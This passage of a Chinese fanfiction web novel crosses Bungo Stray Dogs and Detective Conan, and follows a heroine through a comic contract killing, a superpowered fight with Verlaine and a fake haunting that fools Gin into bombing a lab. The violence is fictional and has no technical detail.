“只是没想到这个组织的Boss是这种容不得一点变数的性格，估计就是个上了年纪的糟老头吧，年纪就算不大也是一身老人味。”
“当然，他的得力干将琴酒也是相当记仇。”
她还扮演着一个普通女人的时候，对方完全没把她放在心上，估计认为随便动手就能把她搞死。
直到泉飞鸟表现出超出常人的非凡能力，从必死的医药公司里成功逃出后，她就已经成为了超出首领掌控范围之外的不可控因素。
“这是理所当然的，如果你得到了一把漂亮强大却不好用的武器，第一反应也是相同的吧？”
自己得不到，别人也别想得到，就直接毁掉好了。
组织没有百分百的把握能一击必杀，如果不小心让泉飞鸟逃掉的话，就是凭空多了一个强大的敌人，这是纯粹的亏本生意。
那么，方法只有一个。
——借刀杀人。
太宰治的目光骤然阴沉下来。
在模糊的梦境里，他的好老师森鸥外也是这样的，他忌惮着逐渐成长起来的太宰治，同时也正好需要得到异能开业许可证。
牺牲掉织田作之助就能一箭双雕，岂不美哉？
“琴酒……他估计从上次我打电话给他挑衅就开始记仇了吧？”
泉飞鸟耸耸肩，倒也理解。
毕竟是无情的杀手，被她这种小喽啰挑衅之后有火气也正常。
“……综上所述，这次的刺杀任务估计相当麻烦。”
而且有很高概率会遇到其他的强大异能力者。
＊
泉飞鸟总之现在就是非常后悔。
她就想狠狠地给几个小时前的自己一巴掌。
让你嘴贱！让你嘴贱！
让你嘴贱的要命，说可能会遇到其他强大异能力者！
泉飞鸟抬头注视着面前这个熟悉又陌生的人，默默拍了个侦查。
嗯，这次侦查出来的信息比之前多了。
【保罗·魏尔伦
等级：lv90
生命：？？？
攻击力：8000
技能：？？？】
熟悉的金发，熟悉的冰蓝色眼睛，几乎没有任何变化的外貌，以及比之前还要让人胆寒的凌厉杀气。
……这不是她亲爱的好老师魏尔伦先生吗？
泉飞鸟只觉得身上被打过的地方又开始痛了。
18.第十七章
任务一开始顺利得不可思议。
泉飞鸟按照资料上给出的信息，去蹲守了一会儿那位议员，才发现对方来度假根本没带什么保镖。
她站在高楼顶观察那位议员所在的酒店房间，默默翻白眼。
……也是，这个大腹便便的中年男人来到挪威就没离开过酒店，变着花样招流莺，能遇到什么危险？
而且周围风平浪静，似乎并没有什么危险的气息在靠近，泉飞鸟就更加放松了。
她甚至产生了美妙的幻想，说不定他们之前的讨论结果是错误的，其实根本没有什么厉害角色，这只是个普通任务而已。
——总之还是速战速决吧。
房间里的议员正在享用他美味的午餐，他穿着睡袍，姿势随意。
这是他独自一人来到挪威度假的第三天，房间的窗帘只留下一条缝，有冬日的阳光从窗外照进来。
“中午好，先生，看来你度过了一个美妙的早晨。”
一道陌生轻柔的女声在耳边响起，喝酒喝到醉醺醺的议员视线迷蒙，他甚至错认了面前这个突然出现的女性是特殊职业者。
“亚洲人？真少见。你是哪里人，怎么进来不敲门？”
议员甚至都没注意到自己周围的环境已经变了个样，一把寒光凌凌的匕首已经贴在了他的脖颈，划出浅浅的伤口。
议员吓清醒了。
他才注意到眼前的女人是个暗杀者，连连后退求饶：“是谁派你来的？法国还是英国！我可以付给你双倍的佣金，求求你不要杀我！”
“希望你能在去地狱之后也能过得很好，再见。”
泉飞鸟才不听他废话呢，副本里赚的钱又不能带出去，她完全不想和这个人有什么交流。
刚才没有直接一刀毙命，只是想说些帅气的口号而已。
刀光一闪，议员都没来得及挣扎一下已经软趴趴倒地了，尸体突兀出现在空无一人的房间里，血液逐渐蔓延开。
“完工完工，这不是超级顺利吗！”
泉飞鸟兴高采烈地从空间里蹦跶出来，轻盈地重新落在大楼顶部：“结果根本就没有别人来嘛！”
这一刻，她觉得自己是这个世界上最帅的人，没有之一！
冬天楼顶的风很大，泉飞鸟围在脖子上的围巾被风吹起，周围一片寂静。
“不愧是人口密度小的北欧国家，这才中午就这么安静……”
不对。
有什么不对。
泉飞鸟瞬间精神紧绷起来，第六感在疯狂叫嚣即将到来的危险，像是有什么猛兽在窥视。
她环顾四周，周围一片宁静祥和。
“……”
泉飞鸟深吸一口气，全身肌肉紧绷向前冲刺，直接撞碎了大楼顶部周围的栏杆，在空中转身，后仰着向下坠落。
下一秒，可怖的黑色重力洪流以不可抵挡之势从她面前擦过，高温掀起可怕的热风。
无比惊人的破坏力，黑色洪流直接削掉了大楼的楼顶，要是泉飞鸟还停在原地的话，估计已经连渣都不剩了。
“组织我●你●●！”
泉飞鸟都惊呆了，这到底是哪里来的祖宗？！
这谁打得过啊？她到现在都没看清对面到底长什么样！
她在半空中调整姿势，借着路边的树木减少冲击力，总算是顺利落地，没受什么太大伤害。
那个想把她直接送走的人也跟过来了，泉飞鸟完全没时间看对方到底长什么样，转身就跑。
她的逃跑技术可是经过训练的，跑的过程中还能和别人瞬间交换位置，能拉开很大的距离。
但是对方却跟得很紧，她每次以为自己已经跑到足够偏僻的地方甩掉跟踪，就会迎来冷酷无情的攻击，直接冲着要害来。
“大哥！大姐！大佬大神！”
泉飞鸟被撵得像只上蹿下跳的猴子，能躲就躲，不能躲就直接用不重要的部位硬扛，她不知道对方的性别就只能乱叫。
“不是吧，不是吧？我也就抢了一个你的人头而已啊！用不着这么下死手吧！”
不知道是因为她的话起作用了还是其他什么原因，背后袭来的攻击似乎减弱了点。
泉飞鸟迅速找到下一个目标移动过去，但她从空间出来还没跑几步，熟悉的黑洞再次出现，威力比之前还要恐怖。
“……同行竞争不是很正常的事情吗！？”
生无可恋泉飞鸟连滚带爬逃出老远，扯着嗓子大声嚷嚷：“大家都是普通打工人，打工人何必为难打工人啊！”
“你是空间系异能力者？”
那位凶残的大佬终于愿意出声，泉飞鸟耳朵一动，觉得有点耳熟，她停下来转头一看，果然看到了熟悉的人。
魏尔伦戴着礼帽，动作轻盈优雅，他笑得张扬又狂气，气势如刀锋。
“本来想把你直接杀掉，但看来你是个还算有趣的玩具，多少能让心情愉悦。”
卧槽！魏尔伦先生以前原来这么狂的吗！
泉飞鸟几乎不敢把面前这个狂到没边的人和之前地下室里脾气还算温和的魏尔伦先生当成同一个人。
“请问阁下的名号是？”
虽然对方暂时没有继续攻击，泉飞鸟仍然不敢放心，眼睛到处乱瞄思考逃跑路线。
这个时期的魏尔伦先生，看上去很不好惹的样子，不是之前那种小打小闹。
魏尔伦冷笑一声，神情睥睨：“你没必要知道。”
“……”
泉飞鸟在心里咬小手帕，流下宽面条泪。
好狂好帅！
她什么时候才能变成这种拽到没边也没人敢打她的程度！很快会有那一天吧！
“那我可以先走了吗？”
泉飞鸟眼巴巴地看着魏尔伦，充满期待。
既然没打算杀掉她，那就不如大慈大悲地让她走，等她回到现实之后一定会给魏尔伦先生送去最好吃的东西！
“我什么时候说过你可以走了？”
魏尔伦的声音冷淡下来，他冰蓝色的眼睛里像是酝酿着风暴。
他注视着面前这个有着黑色长发的女人，又像是透过她在看别的什么东西或者人，露出了少见的复杂情绪。
“……空间系异能力。”
他低声重复了一遍这个词，短暂流露出的人性化复杂情绪又从他脸上隐去了：“你的能力是只能把自己和别人交换位置，嗯？”
泉飞鸟本来还想把这个事情糊弄过去，听到魏尔伦带着危险的上扬尾音，有些纠结。
“目前来说，确实算是这样？”
她也有想过，把除了人之外的东西单独搬进战斗空间，但似乎并没有成功。
“太弱了。”
魏尔伦斩钉截铁下了结论：“只能做到这种程度的话，你还是直接去死吧。”
不是，魏尔伦老师你自己又不是空间系，到底怎么得出这个结论的？
泉飞鸟都没来得及吐槽，真正的行动派魏尔伦已经开始动手了。
现在的动真格比起来，刚才的都像是小打小闹，魏尔伦身边浮现出无数大大小小的黑洞，伴随着他伸手的动作，恐怖的黑色洪流温顺地环绕在他身边。
遮天蔽日，仿佛是真正的末世即将来临。
泉飞鸟背后冒出了冷汗，她一瞬不瞬地盯着面前的景象，完全不敢移开视线。
这是她来到这个世界以后，第一次遇到这种几乎难以动弹的压迫感。
她开始还能胡思乱想，这种可怕的程度说不定都能把这里夷为平地，会不会伤到普通人，但出奇冷静的大脑却向她反馈一个事实。
她是被撵到这里的。
泉飞鸟自以为自己逃跑得很成功，仔细一想才察觉到，她几乎是被引导着到了这里，荒僻且人烟稀少的地方。
这是一种游刃有余的强大，要变强不仅仅是技巧上的提升，还需要有战斗意识。
但随着魏尔伦身边的黑洞越发夸张，她大脑里乱七八糟的想法已经全部消失了。
好可怕好可怕好可怕，渺小的人类在直面天灾。
要逃吗？
逃不掉的，这种程度根本没办法躲开。
要求饶吗？
求饶也是没有用的，魏尔伦就是抱着把她杀死的想法发起攻击的。
身体因为恐惧完全没法动弹。
“能这样死去，你应该感到庆幸。”
魏尔伦轻蔑地看着她，黑色洪流和无数黑洞顺着他的心意汹涌而来，像是海面上掀起的巨浪。
泉飞鸟在那一瞬间，甚至彻底忘记了自己身处虚拟的副本，所遭遇的也并不是真实的死亡，而是重回现实的门票。
她心中只有一个念头。
她要活下去，不管用什么办法都要活下去！
绝对不能，就像个笑话一样死在这里！
——生死存亡的瞬间，存在于世界最深处的某样东西似乎感应到她此刻的意识，短暂亮起璀璨的光芒回应。
魏尔伦漂浮在半空中，看着那个拥有空间系异能力者的人被黑洞所吞噬，感到无趣。
他一开始并没有打算对那个小杀手下这么重的手，但他自己也说不清，刚才到底是一种怎样的情绪驱使他这么做。
这个世界上有空间系异能力的人千千万万，像那个男人一样的，他再也没有见过。
……也不可能再见到了。
魏尔伦转身落地，准备离开。
“魏尔伦先生，我还没死呢！”
身后突然响起一道幽幽的声音，语气幽怨得像是刚从地狱爬回来的恶鬼：“……你怎么就走了？”
魏尔伦猛然转身。
正常情况下早该被碾得连渣都不剩的女人，居然再次出现了。
泉飞鸟伤得很重，能好好的站在这里像是个奇迹，她的伤口还在流血，被某种奇异的力量逐渐修复。
更诡异的是她的眼睛和头发像是覆盖上了一层马赛克，在黑发黑眼和粉发蓝眼之间来回切换，没过多久又重新稳定下来，变成黑发。
“你……”
魏尔伦顾不上思考泉飞鸟到底是怎么活下来的，他皱起了眉头：“你到底是什么东西？”
这种异常可不是一句简单的异能力者能概括的。
“哦，你眼花看错了。”
泉飞鸟死不承认：“我是正常人啊。”
她还等着拿副本通关之后的奖励呢，自然不能承认自己的现实身份。
“哦对了，虽然你不了解我，但我其实是一个很尊重长辈的人，一般情况下都很尊重。”
泉飞鸟活动了一下手脚，断胳膊断腿已经全部修复完毕，她原地蹦哒了两下，对魏尔伦露出了非常灿烂的笑容。
“正常情况下我打不过你，所以只能用点小手段了。”
她打了个酷炫的响指，半空中突然涌现出几个黑洞，以及熟悉的黑色重力流，乱七八糟地向魏尔伦袭击而去。
刚从空间取出来的，超级新鲜！
泉飞鸟当然不可能会使用他人的异能力，她只是在攻击即将来袭的时候，无师自通了战斗空间的新用法。
她！终于能把非人物品或者异能力攻击给塞进空间啦！
只要她自己不进空间，异能力攻击就是暂停的，她也可以随时再放出来！
“你的异能力进化了。”
面对突然而来的袭击，魏尔伦眼皮子都没动一下，这毕竟本来就是属于他的异能力，轻而易举地被他重新掌控，消散在空气里。
“这样才稍微有点空间系异能力者的样子。”
这句话对于魏尔伦先生来说也算是不错的评价了，泉飞鸟挺高兴的，毕竟她也没想着有希望可以伤到魏尔伦。
跨级挑战也不带这么跨级的。
打过之后，气氛反而缓和了下来。
轰轰烈烈地闹了一通之后，这片区域已经坑坑洼洼，到处都是可怕的痕迹，两个人并不想遇到等下赶到的警方，暂时先离开了这里。
“我能在你身上看到我教导过的痕迹。”
两个人暂时休战，进了一家咖啡馆，魏尔伦喝了一口咖啡，语气缓和。
他根本都没提起那个被抢了的暗杀对象，他心里也完全不在乎那个议员的死活，不管是谁杀的，死了就行。
“我记忆中并没有教导过任何人，你是从哪里学来的技术？”
泉飞鸟已经开始吃第二个蛋糕，美好的甜味抚慰了她被暴打的受伤心灵，听到魏尔伦这么问她惊呆了，差点把叉子插到鼻孔里。
“你早就看出来了？”
“很难判断吗？”
魏尔伦用充满嫌弃的目光看过来。
“再怎么样也算是半个
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学生吧？你见到学生就是这样往死里打的？！”
泉飞鸟捂住心口，她已经不求温柔亲切的教导，好歹要手下留情一点吧？
刚才那种直接是往地狱送！
“我没有学生。”
魏尔伦也没深究细节，他想了想又补充了一句：“如果死掉的话也是你太废物了，我为什么要手下留情？”
好凶残……
泉飞鸟低头吃蛋糕，不敢吭声。
一段沉默后，魏尔伦先开口询问：“我那个时候在哪里？”
他可不是蠢货，自然能从泉飞鸟之前表现出来的行为里察觉到一些东西，也注意到她似乎因为某些原因有所隐瞒。
泉飞鸟抬头看他一眼。
魏尔伦那双冰蓝色的眸子沉静下来之后像大海。
“你说，未来有没有一种可能。”
泉飞鸟组织了一下语言，尽量用一种不会影响角色扮演的说法：“你因为某些原因一直居住在日本横滨的某个组织的地下室，不想出来。”
魏尔伦脸上的表情空白了几秒，随即浮现出愤怒和不解。
“这不可能，我怎么可能会……”
“这绝对不可能。”
他斩钉截铁地得到结论。
“哦，你不信的话那就算了，我也就是跟你开个玩笑。”
泉飞鸟继续低下头吃饭，现在说不可能有什么用，之后都已经成为既定的事实了，她还能胡编乱造不成？
“……”
又是一阵长久的沉默。
咖啡店外的街道上有警车呼啸而过，看方向似乎是开往他们之前动手的地方。
“那么原因呢？”
魏尔伦过了一会儿再重新恢复冷静，但其中一只手已经攥紧拳头：“我需要那个原因。”
他其实已经有所猜测，却不想接受现实。
“我不知道啊。”
泉飞鸟睁着一双无辜的眼睛耸耸肩：“我也是误打误撞才遇到的，具体情况当然不知道了。”
她是个才加入港口Mafia没多久的小新人哎，还是后勤部的，这种一听就是组织过往机密的东西，怎么可能会让她知道？
魏尔伦有种拳头打在棉花上的无力感。
“要不您现在就去日本看看情况？”
泉飞鸟吃饱喝足，开始出馊主意：“把横滨那些组织的首领都抓出来拷问一遍，多少能获得一点情报吧？”
过去港口Mafia的首领遭受磨难，和她这个未来的新人又有什么关系呢？
“……你说的对。”
魏尔伦相当认可地点点头，有时候简单粗暴的办法反而有效：“我会好好考虑的。”
“好耶！”
想要暗中坑领导是每个打工人的终极心愿，泉飞鸟非常高兴，脑筋转得更快了。
“其实除了这个办法之外，我还有个馊……好主意。”
泉飞鸟的目光落在魏尔伦那顶看起来有点眼熟的帽子上，她忽然就有了点灵感。
“我认识一位来自FBI的探员，他最近就在挪威逗留。他似乎对日本横滨那边的事情有所了解，说不定能告诉你一点重要信息。”
她还不想让太宰治知道自己在港口Mafia的事，但中也再怎么样也是港口Mafia的干部候补了，说不定就有机会知道以前的事情呢！
“当然，他也只是个小职员而已，有些事情不一定知道。”
得到魏尔伦的认可之后，泉飞鸟掏出手机给中也打电话，准备把人给召唤过来。
＊
泉飞鸟再次回到安全屋附近的时候，已经是第二天早晨了。
昨晚的聊天情况暂且不提，她从来没有觉得日子过得这么苦这么累过。
毕竟她已经整整两天没有睡觉了……
再怎么坚强的女人，在睡眠不足的时候都会变得无比脆弱，泉飞鸟现在只觉得自己是刚从地狱爬出来的恶鬼，怨气比谁都重。
她已经提前下定了决心，如果琴酒那个小气巴拉的男人再敢打电话来嘲讽她，她就把空间里存的那些剩余黑洞全部砸在琴酒的脑袋上。
让他那头引以为傲的漂亮银色长发烧光！
泉飞鸟拿出手机看了看，后知后觉意识到一个严肃的问题。
昨天傍晚和晚上的时候，安室透好像打了很多个电话给她，但是她那个时候在忙着和好老师斗智斗勇，一个电话都没听到。
晚上当然更不用说了，她连饭都没顾着吃，哪有时间看手机，也没有回复一条短信。
她走到安全屋门口，敲了敲门没有人回应，窗户也没有像之前一样透出温暖的火光。
泉飞鸟眉头一皱，发现事情并不简单。
她直接一脚踹开门走进去。
安全屋里空无一人，壁炉里没有燃着柴火，所有人居住留下的痕迹都已经消失了，被人收拾的一尘不染。
“……？”
站在门口的泉飞鸟有些茫然。
人呢？那么大四个人怎么一个都没有了？
如果都有事出去的话，也不至于连个饭都不给她留啊，而且重点保护对象太宰治也不可能出去。
她在沙发上坐下，收拾了一点剩下的柴火重新点燃了壁炉，冰冷黑暗的房间逐渐温暖起来。
泉飞鸟打开手机准备发条短信，问问安室透到底什么情况，这才注意到对方在半个小时之前已经发过短信给她了。
“安心地去吧，我们会在能力范围内保护好你的爱人的。你是个很好的人，不应该加入组织，希望你能早日上天堂。”
……嗯？
泉飞鸟甚至都没反应过来，到底是怎么回事。
啊？谁上天堂？她什么时候已经水灵灵地死了？
她这才注意到沙发上放了一张被整整齐齐叠起来的报纸，茶几上还放了个装三明治的盘子，和一支已经熄灭的蜡烛。
这是什么上供现场……
那份报纸展开一看就是头号新闻。
【昨日傍晚郊区发生恐怖案件，警方奔赴现场后发现上百个坑洞，疑似案发现场。目前已经在坑底提取到了女性DNA组织，具体受害人身份还在调查中。】
泉飞鸟死死瞪着手上这份报纸，恶狠狠地拿了个三明治塞到嘴里，是苏格兰的手艺。
哦，原来她死了啊。
19.第十九章
“灵异事件？”
琴酒不久之前才结束在日本的短期任务回到美国，又从首领那里接到了新的指令，让他暂时驻守北欧的高级研究所。
他风尘仆仆地赶到北欧研究所，甚至还没来得及保养一下他的爱枪，研究所的负责人就找上门来。
负责人表示最近出现了灵异现象，希望他能帮忙解决。
琴酒点燃了一支香烟。
几秒后他瞬间拔出他的□□，对准了负责人的脑门。
他瞪大的眼睛里全是红血丝：“你想死的话，我可以直接送你走，用不着找这么荒谬的理由。”
“我没有必要在这种事情上骗你。”
研究所负责人也是一名科研人员，他扶了扶厚重的圆框眼镜，声音不缓不急。
“最开始出现问题是在三天前，有人在观测实验区目击到了那位女士。”
“女性，年龄30岁左右，黑发黑眼的亚洲人样貌，穿着都是血迹的白色长裙，只有上半身。”
琴酒握着枪的手都没抖一下，旁边的伏特加已经开始腿打颤。
“大哥……这个描述难道是？”
“闭嘴！”
琴酒呵斥了一声，伏特加立马就闭嘴不说话了。
“一开始我们只以为那名研究员是出现了幻觉，但后两天出现了越来越多的目击报告，描述都一样。”
负责人递上Pad，上面开始播放一段监控录像：“如你所看到，我们的研究员试图对那个生物发起攻击，但是失败了。”
画面上的场景确实看起来很像闹鬼，那个不明生物的面庞模糊不清，没有腰部以下，上半身也是半透明的。
对面的那个研究员看起来兴奋大于恐惧，他一手挥舞着十字架，另一只手拿着大蒜就往前冲，结果扑了空。
“这不太对吧？”
站在旁边看画面的伏特加忍不住吐槽：“这一看就是幽灵啊，十字架不是对付吸血鬼的吗？”
“请不要在意这种细节。”
负责人的眼镜镜片反射出刺眼的白光：“事后我们也用机器检测过，没有任何粒子残留，基本上可以排除是特殊能力者。”
他脸上流露出属于狂信徒的笑容：“之前就听到过传闻，说不久之前降落在挪威的一架飞机上出现了神迹，根据当事人描述，他短暂进入了天堂。”
“——幽灵和神魔都是真正存在的！”
在琴酒杀人的眼神中，伏特加把那位进入迷之状态的负责人请走了。
“大哥，现在怎么办？”
伏特加小心翼翼地询问。
琴酒咬着烟，开始专注保养他的□□，升起的烟雾模糊了他的面容。
“去检查一下这群疯子的食物和水有没有被下过毒。”
琴酒完成了手中的工作，把香烟摁灭：“然后去检查一下我们的武器库里还有多少库存，全都给我搬过来。”
他脸上露出了狰狞的微笑：“这世界上哪有那么多幽灵鬼魂，只有装神弄鬼的人而已，让他们随时做好轰炸准备。”
深夜。
由于最重要的实验品还没有被送来，研究员们并不着急工作，此时的研究所里空无一人。
琴酒穿着他一贯的黑风衣，走在空荡的走廊上，皮鞋在地板上发出清脆的声音。
他拔出了枪，对准面前缓慢浮现的人影。
“果然是你，川下。”
琴酒对面前熟悉的面孔并没有感到意外，只是咬牙切齿道：“你倒是命大，居然没有死。”
就算面前的人影身体是半透明的，缺胳膊少腿的同时脸上身上全是血，坚定的唯物主义者琴酒也没有觉得这是鬼魂。
他认为只是对方耍了什么小把戏。
“我好恨啊……”
黑发的女人在低声自语：“我好恨啊……”
她伸手捂住自己的脸，有红色的“血液”顺着面庞流淌下来，像是血泪。
仗着自己明面上已经死了，到处乱跑的泉飞鸟努力装神弄鬼，趁着琴酒没有发现，舔了一口提前准备好的仿血浆糖水。
好齁啊——
她被双手遮住的脸面目扭曲。
莫名其妙被判定死亡的这两天她也没闲着，很快顺着太宰治留下来的记号找到了位于郊区的研究所。
现在只是准备工作，作为真正重头戏的实验品，某位吸血鬼异能力者还没有来。
泉飞鸟对战斗空间的运用更加得心应手，仿佛就是天生的空间系异能一样，在这个处处是监控死角的研究所，混得如鱼得水。
出于某种恶趣味，得知琴酒不久之后要过来以后，泉飞鸟快乐地装起了鬼。
白衣服是新买的，血液是万圣节仿血浆糖水，半透明和只有一半身体的效果，是她在空间和现实中反复横跳，制造出来的视觉效果。
——总之真的很快乐。
“我还没有和他在一起……我不甘心啊……”
泉飞鸟努力扯者嗓子发出气泡音，还偷偷在不同点位播放提前准备在战斗空间里的恐怖音效。
360度立体环绕指甲刮玻璃声！
包精神污染的！
琴酒也是个真正的狠人，他废话不多说直接开枪，甚至是双枪齐发。
只是他脸上狠戾的表情在看到子弹真的穿过了透明的身体后僵住了，其中一枚子弹伴随着尖锐的嚎叫声，擦着他的脸颊反弹回去。
还在反复横跳的泉飞鸟开始播放提前修过音的刺耳声音。
琴酒摸了摸脸上被划破的地方，绿色的眼睛里闪过惊愕，随后又镇定下来，他反而露出了兴奋的笑容。
“伏特加，把东西拿过来。”
“是！大哥！”
原本站在角落隐蔽的伏特加应了一声，一路小跑从旁边的房间里拖出了机枪和两把冲锋枪，还有大大小小的手雷和炸弹。
“我永远都不会放过你们……我要见他，让我见他！”
泉飞鸟努力睁大眼，一边咆哮一边发自内心感叹组织的财大气粗。
这只是小小的研究所而已，这准备的武器都够武装一支小型雇佣兵了。
要不是因为立场不同，加上琴酒之前炸她坑她，泉飞鸟其实对这种做事风格还是很有好感的。
一切恐惧来源于火力不足（深沉）
这不是和她现在的目标一模一样吗！
对面的琴酒已经开始用机枪突突突了，伏特加虽然怕得要死，却很听他大哥的话，一手一把冲锋枪。
在一片轰鸣的枪声中，所有子弹都穿过了泉飞鸟透明的身体打在墙壁上，留下坑坑洼洼的弹孔。
真舍得用子弹！
泉飞鸟顺手把一堆子弹收进了空间里，连吃带拿还把盆端走，意思意思反弹了几颗回去。
“这种对我是没有用的……琴酒……你害死了我……我好恨啊……”
泉飞鸟掏出从冰库拿的备用血浆和泥浆，把两者的混合物泼洒出去，有些直接溅到了琴酒的脸上。
“大哥！真的是川下来寻仇了！”
伏特加已经打完一梭子子弹，颤颤巍巍。
“怎么会有人能让子弹穿过身体啊！她她她她，她真的是幽灵！我下午还特意去附近的教堂求了驱魔圣水，结果根本没有用！”
他从口袋里摸出一个十字架，扔向逐步靠近的“川下”，结果也穿
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过了透明的身体。
琴酒面不改色地把子弹已经用光的机枪放下，按下了手里的遥控器按钮。
提前安装在走廊地板墙壁上的炸弹接连爆炸，连整个研究所都在震动。
炸弹掀起的热风吹起了琴酒的银色长发，他脸上露出满意的狰狞微笑：“既然没有死，那现在就送你下地狱去吧。”
——直到升腾的尘土中再次出现了和刚才一模一样的身影，和爆炸之前似乎完全没有任何变化。
琴酒瞪大了眼睛，他脸上从不可置信，到世界观重组的疑惑，又转化成找到什么真理的坚定。
“走，撤退。”
他只按下遥控器按钮，又是一连串的爆炸。
琴酒把遥控器扔向火焰后转身离开，黑色风衣在半空中划过优美的弧度，旁边的伏特加又摸出一个新的十字架，紧紧跟随。
“让轰炸组那边准备，把这个研究所夷为平地，不要留下任何残渣。”
琴酒拿出手机，屏幕上还显示着刚才那条走廊模糊的监控影像，他确认那个影子还停留在原地后，拨通了某个电话。
“喂，马上帮我转告给首领，敌对组织已经研究出了新式的量子幽灵武器，极有可能和意大利的艾斯托拉涅欧家族有关，那个家族的人体实验研究很出众。”
“我们组织不能落后，希望首领能尽快批准相关研究的开展。”
旁边的伏特加露出了==的表情。
都这种情况了，大哥居然还是相信世界上没有幽灵吗！
＊
深夜的研究所，因为紧急撤离而变得喧闹。
几个研究员合力抬着一大叠资料，低声八卦。
“这就是组织派来的精英吗？可真够好笑的，抓鬼搞出这么大的动静。”
“那可是货真价实的幽灵，多好的研究对象！他都没留下来！”
“别这么说，有鬼的地方多可怕啊，我都不能认真工作了，搬到新的地方才好，这里的设施也不错。”
几个研究员说了几句，正好看到旁边双手插在白大褂口袋里，无所事事路过的人，忍不住问他：“木间博士，你是亚洲人吧，应该对这种鬼神之说更了解，你有什么驱鬼的办法可以用吗？”
“嗯？那种东西完全没有呢。”
“哈哈哈，也是。”
木间博士是这个项目的总负责人之一，虽然平时总是看上去很温和，但大部分研究员都很怕他。
这样的研究员恨不得抽自己一巴掌，为什么要去问这个冷面魔鬼，他刻意转移了话题。
“据说那位来自远东的武士已经出发去讨伐吸血鬼了，不知道什么时候顺利结束，把实验材料运过来。”
“说起来那个武士叫什么名字来着？”
研究员挠挠头。
“福地樱痴。”
太宰治缓缓念出了这个再熟悉不过的名字：“是叫这个名字吧？”
“不愧是木间博士！连这种事情都知道！”
太宰治在一堆研究员的恭维声中，回到了自己的休息房间。
他们搬到的新地方是一座已经废弃的军事基地，休息房间位于小楼的最顶层，打开窗就能看到一轮圆月。
“今天可真是个美妙的夜晚。”
太宰治自言自语，开窗望着窗外的景色。
“真是难得一见皎洁而美丽的月光啊，你说是吧？”
“——飞鸟。”
他只是眨了一下眼，穿了白色长裙的少女沐浴着月色而来。
那道熟悉的身影，划过太宰治鸢色的眼眸。
正如无数次在梦境中看到过的一样，遥不可及的月光落入了掌心。
20.第二十章
“呦，今天还活得挺精神啊。”
不开口的时候，泉飞鸟就和她的名字一样，像一只轻盈而雪白的飞鸟，面无表情落下来的时候确实有种仙气飘飘的美感。
但她一动用那张尊贵的嘴，整个人的感觉就变了，好像从骨子里流露出一种“快来揍我啊你这个蠢蛋”的那种贱贱的气质。
太宰治转头去休息室自带的卫生间洗眼睛了。
“……？”
泉飞鸟对他的行为很不满意：“我冒着生命危险千辛万苦来找你，你不想看见我？”
太宰湿漉漉的额发配上苍白的皮肤，让他看起来像是刚从河里爬上来的水鬼。
“是吗？”
他的语气也是幽幽的：“你说的冒着生命危险千辛万苦，指的是你装成鬼吓人，顺便让琴酒炸了研究所给你助兴吗？”
泉飞鸟心虚地开始左顾右盼吹口哨，看起来很忙。
“玩得好开心啊，飞鸟。”
太宰治身上的黑气都快溢出来了：“你在这里玩躲猫猫游戏，小矮子在体验限时一米九壮汉，你们一起玩得好开心啊。”
出于某些说不清的想法，他在“一起”两个字上加重了音。
“只有我在这个破研究所里努力工作，还要天天面对一群蠢货的提问。”
泉飞鸟已经很自来熟地在沙发上坐下，她表情真挚，超级认真提问：“之前我听中也说过，说你在之前的公司就经常摸鱼偷懒，在这里你真的会认真努力工作吗？”
太宰治认真看了泉飞鸟几秒，装模作样抹了下眼泪，握住她的手：“飞鸟，你是相信我的话，还是相信中也那个小矮子的话？”
“太宰。”
泉飞鸟盯着他们两个紧紧相握的手，犹豫了几秒才开口：“我有一个好消息和一个坏消息，你要先听哪个？”
“唔，那就先听坏消息吧。”
“坏消息是我会相信中也的话，一秒都不带犹豫的那种。”
意料之中的回答。
太宰治弯了弯眼睛，把一切糟糕的情绪隐藏在完美的伪装之下：“居然一秒都没有犹豫吗？好伤心啊。”
“哦，其实原本还是会犹豫个几分钟的。”
完全没有察觉到太宰治那微妙的异常，泉飞鸟非常耿直：“这几天我至少路过了十次你的办公室，每次都看到你在偷懒摸鱼，甚至在用酒精灯煮泡面吃，所以我就不犹豫了。”
“…………”
太宰治已经很久很久没有体验过这种憋屈的，有口难言的感觉了。
其实他这两天，是真的有好好工作一段时间的，虽然时间很短，但是真的有过！
这是什么“每次老妈路过都看见我在摸鱼玩手机，所以就认定我一直在摸鱼玩手机”的故事啊！
但在这种时候，一切解释都是无力的。
“那么好消息呢？”
太宰治肉眼可见更加苍白了。
“放心吧，好消息是真的好消息。”
泉飞鸟还挺惊讶的，她不知道太宰听到坏消息之后居然这么颓废，她安抚性地拍了拍太宰治的肩膀。
“原本我手上沾满了万圣节专用的仿血液糖浆，黏糊糊的特别难受，现在好消息是我把糖浆都蹭到你的手上和衣服上了。”
泉飞鸟伸出手指，用剩余的糖浆在太宰治的脸上左右各划了三道红色痕迹：“好了，现在你是太宰猫了，开心吗？这是不是个好消息？”
“……”
太宰治再次噎住了。
因为左手骨折，绑着厚厚绷带和固定板的中原中也轻轻松松翻窗进来，看到的就是两张涂满了红色的脸。
……别说，在昏暗灯光下看起来还挺可怕的。
中也揉了揉眼睛，又翻窗出去，过了一两分钟重新翻进来，看到的还是两张可怕的脸。
“居然不是幻觉吗！”
中也不可置信地指着这两个人，提高了声音：“你们两个搞什么啊！”
都几岁了还在脸上乱涂乱画，是小孩子吗？
“中也，小声点！”
泉飞鸟做了个“嘘”的手势，从卫生间里扒拉出一块毛巾使劲擦脸：“这层楼还有别的人住呢，不要被发现了。”
“哦哦哦……”
中原中也很听话地压低了声音，这次他戴上了习惯的帽子：“抱歉，我来迟了，你下巴那边还有颜色，快擦掉。
看到中也吊起来的手臂，泉飞鸟没忍住多关心了几句：“你的伤势还好吧？真的不要尝试一下我特制的灵丹妙药吗？”
她个人空间背包里还有没人要吃的活力清炖鸡（蓝色版）
“你别说，这个研究所的守卫还真是吃干饭的。”
被中原中也义正言辞拒绝后，泉飞鸟很忧郁，一忧郁就忍不住吐槽。
“晚上进来这么多人，他们一个都没发现，太宰的房间像是一个什么旅游景点，所有人都能来观光或者夜袭一下。”
“夜袭……你这用的什么词？好恶心。”
中也只感觉自己起了一身鸡皮疙瘩，转头就看见太宰治已经冲去卫生间了：“喂，混蛋太宰！你吐什么？”
“如果是飞鸟这种美丽的小姐来夜袭就算了，一想到蛞蝓也要这么干，我就忍不住犯恶心，yue——”
“谁要夜袭你啊！你有病吧！”
＊
房间里重新安静下来，已经是半小时后的事情了。
“哎呀，每次听到你们年轻人吵架，总感觉自己也变得年轻了，关系真好啊。”
泉飞鸟捧着自己的脸感叹道：“每次遇到都热热闹闹的呢。”
太宰治和中原中也齐刷刷地翻了个白眼。
